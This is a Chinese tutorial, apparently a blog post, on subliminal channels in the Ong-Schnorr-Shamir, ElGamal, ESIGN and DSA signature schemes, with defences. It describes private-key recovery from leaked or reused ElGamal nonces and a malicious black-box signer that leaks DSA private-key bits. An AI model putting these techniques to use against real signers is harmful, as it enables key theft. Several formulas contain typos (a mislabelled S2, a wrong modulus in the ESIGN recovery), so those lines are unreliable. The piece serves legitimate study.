    Walter希望欺骗他们,他希望他们中的一个将一份欺诈的消息当做来自另一个人的真实消息。不过Alice和Bob愿意冒这种欺诈的危险,因为他们必须商讨他们的逃跑计划。为了完成这件事情,他们肯定要欺骗看守,并找出一个秘密通信的方法。他们建立一个阈下信道,即完全在Walter视野内的、他们之间的 一个秘密通信信道。通过交换无害的签名的消息,他们可以互相传送秘密消息,并骗过Walter,即使Walter始终监视着所有的通信。

  • 简单实现

    一个简单的阈下信道可以是句子中单词的数目。句子中奇数个单词对应“1”,而偶数个单词对应“0”。因此,当读这种仿佛无关紧要的句子时,已经将信息“1010”传递给了自己的人员。不过这个例子的问题在于它没有密钥,安全性完全依赖于算法的保密性。阈下信道的概念是Gustavus J Simmons于1978年在美国圣地亚国家实验室(Sandia National Labs)提出的,之后又做了大量的研究工作。事实上,阈下信道签名算法与通常的签名算法区别不开,至少对Walter是这样, Walter不仅读不出阈下信道消息,而且他也无法确定阈下信道已经存在。

  • 存在条件

    经典密码体制中不存在阈下信道。分组密码中也不存在阈下信道,因为与明文块相对应的密文块的大小是相同的。如果存在阈下信道,则一个明文块要对应多个不同的密文块,而事实上在大部分分组密码中,明文块与密文块都是一一对应的。不过在大多数基于公钥体制的签名方案中,文本m与数字签名S(m)不是一一对应的,这是由于会话密钥具有可选择性,从而对同一个消息可产生多个数字签名,即对每个m可以有多个S(m)。这就为阈下信道的存在提供了条件,接收方可以根据这些不同的数字签名获取监视者无法得到的阈下信息。有学者研究表明,绝大多数数字签名方案都可包含阈下信道的通信,其最大特点是阈下信息包含于数字签名之中,但对数字签名和验证的过程无任何影响,这正是其隐蔽性所在。即使监视者知道要寻找的内容,也很难发现信道的使用和获取正在传送的阈下消息。

  • 阈下信道的价值

    阈下信道提供了一种:仅有了解该协议的分组内才能得到消息,分组外无法得到,甚至无法发现有此信道存在的 通信方案。前些年比较热点的是将此技术应用在证书签发机构对用户的区分、认证上。


0X01 Ong-Schnoor-Shamir


  • 关于 Ong-Schnoor-Shamir

    需要说明的是,这个签名方案基于二次多项式,在其出现不久就被证明是危险的方案。在此之后,方案的设计者又提出了基于三次多项式的算法,但是也同样被破译了。随后方案设计者们不屈不挠的提出了基于四次多项式的算法……然而……没错,很快又被破译了。。

    此处介绍这种签名方案,其一是因为Simmons第一次设计阈下信道时是基于这种签名算法,其二嘛……也对本方案的设计者的不屈不挠表示敬意。

  • 签名方案

    签署方首先选择一个大整数N,再选择一个与N互素的随机整数k,计算h:

    h = -k^(-2) mod N = -(-k^(-1))^2 mod N

    其中, h和N是公钥, k是私钥。

    对消息M签名时:首先产生一随机数r,r与N互素,然后计算:

    S1 = 1/2 * (M/r + r) mod N

    S2 = k/2 * (M/r - r) mod N

    此处S1, S2就是数字签名。TIPS: 签名时一般取M为消息原文的散列值。

    那么在验证数字签名时,只需要检验(用笔演算一下就可得到):

    S1^2 + h * S2^2 === M mod N

  • 阈下信道利用方案

    阈下信道协议中,与原方案不同的是:接收方与签署方共享签名方案中的k值。并用需要被传递的信息E代替原方案中的随机数r。此处有一点限制是:E与N必须互素才能实现本次阈下信道。

    S1 = 1/2 * (M/E + E) mod N
    S1 = k/2 * (M/E - E) mod N

    此时, 只要所有量的值都满足方案中所给的限制,则接受方可以恢复出签署方隐藏的消息。同时,这一个签名依然有意义,可以用作身份验证。

    E = M/(S1 + S2 * K^(-1)) mod N

    这就是Simmons在1978年设计的一个阈下信道方案。虽然这个方案在现在看来几乎是完全不安全的,不过这为后人开启了一个思路,也创建了阈下信道这个概念~


0X02 ElGamal


  • 关于ElGamal

    ElGamal的安全性依赖计算有限域上离散对数的难度。它是一种即可以用于数字签名,又可用于加密的算法。就目前而言,这种算法是安全的。

  • 签名方案

    签署方首先选择一个素数p,两个小于p的随机数g和x。通过下述等式计算出y:

    y = g^x mod p

    y, g, p用作公钥,x用做私钥。在对消息M签名时,首先选择一个随机数k,k与 p-1 互素。然后计算:

    a = g^k mod p

    使用扩展欧几里得算法,从下述等式中求出b:

    M = (x * a + k * b) mod (p-1)

    (a,b)就是本次的签名。TIPS: 签名时一般取M为消息原文的散列值。

    在验证签名时,只需验证:

    y^a * a^b mod p = g^M mod p

    注意:每次的签名中,k必须选择不同的值。且k的值必须保密。如果k的值泄露出去,那么可以很容易的通过模运算恢复出私钥x;如果两次签名中使用相同的k值,那么可以通过模运算求出k,然后求出私钥x。恢复方式如下:

    假设两次的消息分别是M1, M2;共用了一个k值;它们的签名分别是(a, b1)、(a, b2):

    M1 - M2 = k * (b1 - b2) mod (p - 1)

    上式中只有一个未知量k, 可以通过欧几里得算法求出k的值。在知道k值后,因为数字签名的计算方法如下:

    M = (x * a + k * b) mod (p-1)

    此时只剩一个未知量x,可以通过欧几里得算法求出x的值。

    • 阈下信道利用方案

    签署方首先选择一个素数p,两个小于p的随机数g和x。第一步与正常签名算法相同:

    y = g^x mod p

    不一样的地方:在选择随机数k时,将k值设为需要传递的消息E。注意:E,M,和p都必须相互完全互素。如下式计算a:

    a = g^E mod p

    最后一步与原方案中的步骤一样,通过扩展欧几里得算法计算b,并将(a, b)当作签名。

    M = (x * a + E * b) mod (p-1)

    接收方需要和签署方共享私钥x才能恢复出隐藏消息E:

    E = ((M - x * a)*b^(-1)) mod (p-1)

    同时,数字签名(a, b)依然有意义,接收方可以正常验证这个签名是否是经过签署方的认证。

    在这次阈下信道中,签署方为阈下信道添加了一个私钥x,使得中间人就算猜到了这条签名中可能出现阈下信道,但依然无法恢复出被隐藏的信息E。但是这也带来了一个问题:接收方可以不受限制的冒充签署方对消息进行签名。这里的安全隐患依然存在。同时,这个阈下信道对隐藏信息的要求比较多(必须与M和p互素),在某些特定情况下,这种阈下信道可能无法起到作用。


0X03 ESIGN


  • 关于ESIGN

    ESIGN是由日本NTT提出的数字签名方案。对于同样长度的密钥、签名,它的安全性被保证至少和RSA, DSA一样。不过ESIGN的速度要比这两个算法快得多。

  • 签名方案

    签署方生成一对大素数p, q 作为私钥,生成一个公开的安全参数k,这个值被建议至少大于512。由下式生成公钥N:

    N = p^2 * q

    另取一个作用于消息M上的散列函数H(M),要求是:

    0 < H(M) < n - 1

    除此之外,签署方需要选择一个小于p*q的随机数x。 计算签名时的流程:

    w = [(H(M) - x^k(mod N)) / p*q]

    z = w / k*x^(k-1) mod p

    s = x + zpq

    s是就是签署方的签名值。

    接收方收到消息与签名后,首先计算出t,t是比N的位数的2/3大的整数。在验证时,只需计算:

    H(M) <= s^k mod N < H(M) + 2^t

    若等式成立,则签名有效。

  • 阈下信道利用方案

    在ESIGN的阈下信道中,私钥除了p, q 以外,增加一个隐藏消息密钥素数r,密钥r是接收方在接收隐藏消息时需要的密钥。如下式计算出公钥N:

    N = p * q * r

    对消息签名时,签署方生成一个小于p*q的随机数u,并通过隐藏消息E如下式计算出x:

    x = E + u * r

    然后计算:

    w = [(H(M) - x^k(mod N)) / pqr]

    z = w / k*x^(k-1) mod p

    s = x + zpq*r

    接收方如果需要恢复出隐藏消息E,只需计算:

    s === x + zpq*r === E + u * r === E mod N

    接收方在得到隐藏消息E的同时,数字签名s依然有意义。

    在这次阈下信道中,接收方只知道一个密钥r,他如果想冒充签署方给文件签名,则需要分解p*q,但是分解因数问题依然存在,就是说:如果接收方想冒充签署方,则他需要付出的分解N的计算量 与不存在阈下信道时的接收方需要付出的分解N的计算量相同。相比之下,这种阈下信道对签署方来说更加安全。

    但是这次阈下信道中,N的值将是三个大素数的乘积。中间人可能通过N的大小来判断某次签名中是否存在阈下信道。


0X04 DSA


  • 关于DSA

    DSA是由NIST在1991年提出的数字签名算法。它曾被批评为政治性多于学术性……不过依然成为了数字签名标准DSS所采用的算法。本文不对此做评论。感兴趣的朋友自行谷歌……

    之所以在本文中提及这种算法,是因为阈下信道的提出人Simmons特意提过这种算法。在最后提到的黑盒签名器泄露私钥的方法对于其他签名算法的攻击,也是值得借鉴的。在此做个提醒,使用密码学库最好使用开源库,尽量不要使用封装好的商业软件。。

  • 签名方案

    p是L位长的素数,L的取值范围为512~1024,且L必须是64的倍数。【L的值曾被固定为512,不过被很多密码学者指责,后来NIST做了更正。】q是160位长,且与p-1互素的因子。另取小于p-1的随机数h,通过下式计算g,若g是小于1的数,则重新生成h,直到g>1:

    g = h^(p-1)/q mod p

    取任意数x小于q

    y = g^x mod p

    DSA算法使用了一个散列函数H(m),DSS标准指定该算法应为SHA。在近些年,对SHA-0、SHA-1的碰撞攻击的研究成果越来越多,在使用时应考虑使用更安全的散列生成算法。

    在签名中,前面三个参数p, q, g是公开的,可以被网络上的所有用户共用。私人密钥是X,公开密钥是y。在对消息m签名时,签署方首先生成一个小于q的随机数k:

    r = (g^k mod p) mod q

    s = (k^(-1)(H(m) + xr)) mod q

    r和s就是签署方的签名。接收方验证签名时,进行如下验证:

    w = s^(-1) mod q

    u1 = (H(m) * w) mod q

    u2 = (r * w) mod q

    v = ((g^u1 * y^u2) mod p) mod q

    如果 v=r 则签名有效。

1
2
3
4
v = g^(H * s^-1) * y^(r * s^-1) mod p mod q
= g^(H * k * (H + xr)^-1) * g^(x * r * k * (H + xr)^-1) mod p mod q
= g^(H * k * (H + xr)^-1 + x * r * k * (H + xr)^-1)mod p mod q
= g^k * g^1 mod p mod q
  • 阈下信道的利用方案

    在利用过程中,接收方和签署方可以通过共享私钥x来传递隐藏信息r。(r是签名方案中的随机数)

    除此之外,还有一种不需要泄露私钥的隐藏信息传递方法。首先提及每次传递一个比特位的方案:

    签署方和接收方协商一个随机素数Z,如果签署方想发送给接收方1,则签署方生成一个随机数r,使签名参数r是随机素数Z的二次剩余。若想发送0,则生成一个随机数k,使签名参数r不是随机素数Z的二次剩余。因为二次剩余与非二次剩余的数字在数目上相差不大,所以随机数生成比较容易。

    这一方案可以很容易的扩展到一次传输多个比特位:

    签署方和接收方按顺序协商多个素数,生成随机数k,使得通过k计算出的r对这组有序素数的二次剩余情况分别对应隐藏消息的比特位。若设这个有序素数组中包含的元素为T个,则随机数k恰好符合要求的概率为 1/2^T 对于现在的计算机来说,只要T值不太大,生成k的速度差别几乎毫无影响。在具体平台上的结果不尽相同,感兴趣的朋友不妨自行测试一下。

  • 黑盒签名器泄露私钥

    对于恶意攻击者EVE来说,他只需要设计一个极难被逆向分析的闭源加密平台(比如对该软件使用“VM Protect”加壳),该加密平台接收用户的私钥,公钥和一段消息,返回消息与对消息的签名。那么EVE可以通过如下方案,每次在用户的签名数据中隐藏用户私钥的10位,且这个信息只有他能读取。同时这样签名出来的结果与正常签名的结果毫无不同。

    EVE规定14个素数,在用户签名时,随机选取用户私钥的10比特位作为隐藏消息,同时使用另外四位添加在十位私钥后作为对私钥块位置的标识。(私钥只有160位,所以只需要标记0~16就可以)

    EVE通过在因特网上查询用户的签名信息,就可以很容易的恢复出用户的私钥。

    比较麻烦的是:除非对该软件/芯片进行逆向分析,否则用户几乎不可能发现自己的私钥被泄露了。同时,就算用户怀疑自己的私钥被泄露了,他也无法证明这一点。

  • 对DSA中阈下信道的防范

    引入可信的第三方T,T生成一个随机数k1,签署器生成一个随机数k2,并计算k:

    k = k2^k1 mod(p-1)

    签署器返回一个值u

    u = g^k2 mod p

    T只需验证:

    ((u^k1 mod p) mod q) = r

    若等式成立,则加密器使用了第三方给定的随机数k1。

    不过这一协议使得第三方T也有可能通过生成特殊的k1值,来在消息中隐藏一些信息。这种信道被称作布谷鸟信道。

    对这种信道的使用和防范感兴趣的朋友可以查阅论文:

    “Protocols that Ensure Fairness”

    “Subliminal Channels: Past and Present”


0X05 总结


对于阈下信道的研究一直进行着,有一些学者的结论表明,数字签名中的阈下信道是不可能完全封闭的。但是也有一些学者正在尝试着构造出绝对封闭的数字签名。对于普通的用户来说,只要做到签名时能由自己控制所有随机量,签署文件时使用开放源码的签名器,或者干脆自己开发一个库,那么对于用户的签名来说,阈下信道存在对于签署方的隐患几乎可以忽略了。不过当用户作为接收方时……那么似乎只能要求签署方选择对阈下信道限制比较严格的签名协议。不过,说到底,数字签名肯定是要由签署方完全自主生成的。在积极的一面来看,阈下信道有利于签署方对用户进行分类,对每个分组的用户进行定制的服务。从这个方面来看的话,阈下信道带来的结果也不完全是负面的。